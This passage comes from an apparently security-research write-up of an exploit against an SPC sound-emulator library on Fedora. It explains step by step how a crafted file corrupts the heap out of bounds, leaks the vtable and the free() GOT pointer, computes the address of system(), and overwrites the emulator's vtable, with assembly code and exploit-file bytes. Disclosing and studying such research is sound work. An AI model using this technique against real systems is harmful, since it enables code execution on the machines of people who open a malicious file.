<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">With input A = 0, X = 257, Y = 16777215, we end up with Y = -131583</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">That’s actually a little large compared to what we need, as it references too far back in memory for us to be able to hit the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object. Playing around some more, we can use our new value and another DIV to get a more amenable value:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">With input A = X = Y = -131583, we end up with Y = -65024. That’s much better. Since that value is close to but a bit smaller than negative the size of the 64kB address space, we’ll be able to corrupt backwards far enough to hit any field in the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object, but also still be able to corrupt forwards to conveniently read and write the first few hundred bytes of the virtual RAM.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">5: Read the vtable value and store it at virtual RAM address 0x20 for convenience</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Looking at offset 0xa00 in the exploit file, we see the first line of a table of reads and writes that are made:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">7C EA 20 FE 00 00 00 00 00 00 00 00 76 74 62 6C</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is instructing the exploit loop to read 8 bytes from virtual address 0xea7c + Y, add the 8 byte constant 0, and then write to 0xfe20 + Y. (The last 4 bytes are not used in the code and in this case they spell “vtbl” to remind me what each line does.) Because it’s nice to look at a little 5A22 code, here’s the routine that implements the read / add / write loop:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> CLRC ; clear carry, for clean addition</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV X,#8 ; loop for 8 bytes</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">loop:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV A,(0x80)+Y ; read one byte using OOB Y</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> PUSH X ; save X</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV X,#0 ; set X to 0</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ADC (0x84+X) ; add constant from table</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> POP X ; restore X</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> MOV (0x82)+Y,A ; write one byte using OOB Y</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> INC 0x80 ; increment read location</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> INC 0x82 ; increment addition constant location</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">...</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> INC 0x84 ; increment write location</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> DEC X ; done one byte</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> BNE loop ; if not all 8 done, continue</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> RTS ; otherwise return</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This code could be better: I didn’t take advantage of the 16-bit increment operations and I think I may have used a clumsy addressing mode for the ADC (add with carry). But it works. The reason it corrupts memory is that the Y register has a negative value in it. Once we get the negative value into the Y register, we just leave it there and never change it. For example, the instruction MOV A,(0x80)+Y loads a 16-bit virtual address from memory location 0x80, which we populated with 0xea7c from the metadata table. Then, Y (-65024) is added, giving -4996 as the actual virtual address that is read from. And in the real host heap, 4996 bytes before the start of the virtual RAM storage is the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> vtable pointer. Voila.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">6: Calculate the vtable value + 0x6d8, and store it at virtual address 0x28</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vtable value + 0x6d8 is the address of the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">free()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GOT entry. As a reminder, the GOT is read only because we’re talking about the Fedora exploit.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">7: Reload the address of the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">free()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> GOT entry and copy it to </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu::buf_begin</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We also copy the address of the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">free()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GOT entry, with an addition of 8, and store it to </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu::buf_end</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">8: Corrupt some other timing related fields to make the sample generation engine behave</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">At this stage, we’re operating the main emulator object in a corrupt state, so we need to further corrupt some other fields to avoid problems. We set </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu::extra_clocks</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to -32760 so that the addition in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Snes_Spc::end_frame</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> ends up being close to 0 (8 I think), a safe value for our needs. We also set </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu::dsp_time</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to 0, a value which prevents the DSP (digital sound? processor) from running at all in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Snes_Spc::end_frame</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. The DSP is a large chunk of code that touches a ton of state so causing a simple corruption to stop it running at all makes things safer and easier to reason about.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">9: Allow the frame to end</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We now end the current frame. To do this, we just run in a CPU loop that burns through our remaining CPU cycle budget. The loop is actually a little special; we’ll cover it more below. Once our virtual CPU pauses, some post-frame processing occurs. The DSP does not run because we caused a corruption to have that effect. But </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Snes_Spc::save_extra</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> does run, which appears to be designed to handle small cycle offsets in the virtual CPU clock time vs. the virtual DSP clock time. Because of the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">buf_begin</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">buf_end</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">extra_clocks</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> corruption we caused in steps above, the resulting effect is that 8 bytes of memory are read which correspond to the value of the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">free()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointer inside the GOT. These bytes are placed in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu::extra_buf</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">10: New frame starts</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">When a new frame starts, we have the interesting problem: how does our virtual CPU know that a new frame has started? If the CPU is virtualized correctly, it shouldn’t really notice that its effort is being rationed into “frames”. And we do need to know that a new frame has started, because we need to know that interesting bytes await us in </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Spu_Emu::extra_buf</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, from step 9 above.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The solution is to monitor for a side effect that frustrated us (blargg! etc.) earlier. But now we can use it to our advantage. Take that, frustration! The act of exiting and then entering a frame saves and restores the CPU registers, clamping them to 8-bit values. So while we are waiting for the new frame, we have the CPU simply repeatedly do a multiplication that results in one value if our corrupt Y register is still corrupt, and another value if it has been clamped.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">When the new frame does start, we need to start from scratch to re-generate the out-of-bounds value in the Y register so that we can continue to corrupt memory. Not a problem: we already have that code.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">11: Save the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">free()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> pointer value from </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu::extra_buf</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">We read this value and save it at virtual address 0x30.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">12: Calculate where </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> is</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Now that we have the value of </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">free()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which is inside glibc, we can easily calculate the value of </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">system()</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which will be at a fixed offset. We do so and store it at virtual address 0x38.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">13: Grab the Spc_Dsp::ram pointer</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">And store it at 0x40.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">14: Read the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">ram</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> pointer, add 0x100 to it, and overwrite the </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Spc_Emu</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;"> vtable</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Yeah, now it’s getting real. We now host a vtable at virtual address 0x100 in our virtual RAM.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">15: Calculate vtable - 2370739 and store that at virtual RAM address 0x180</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is a bit magic. Also two more bits of magic:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Calculate </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ram + 0xc0</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and store that at </span><span style="background-color: transparent; color: black; font-family: "courier new"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">&Spc_Emu::vtable + 16</span><span style="background-color: transparent; color: black; font-family: "arial"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
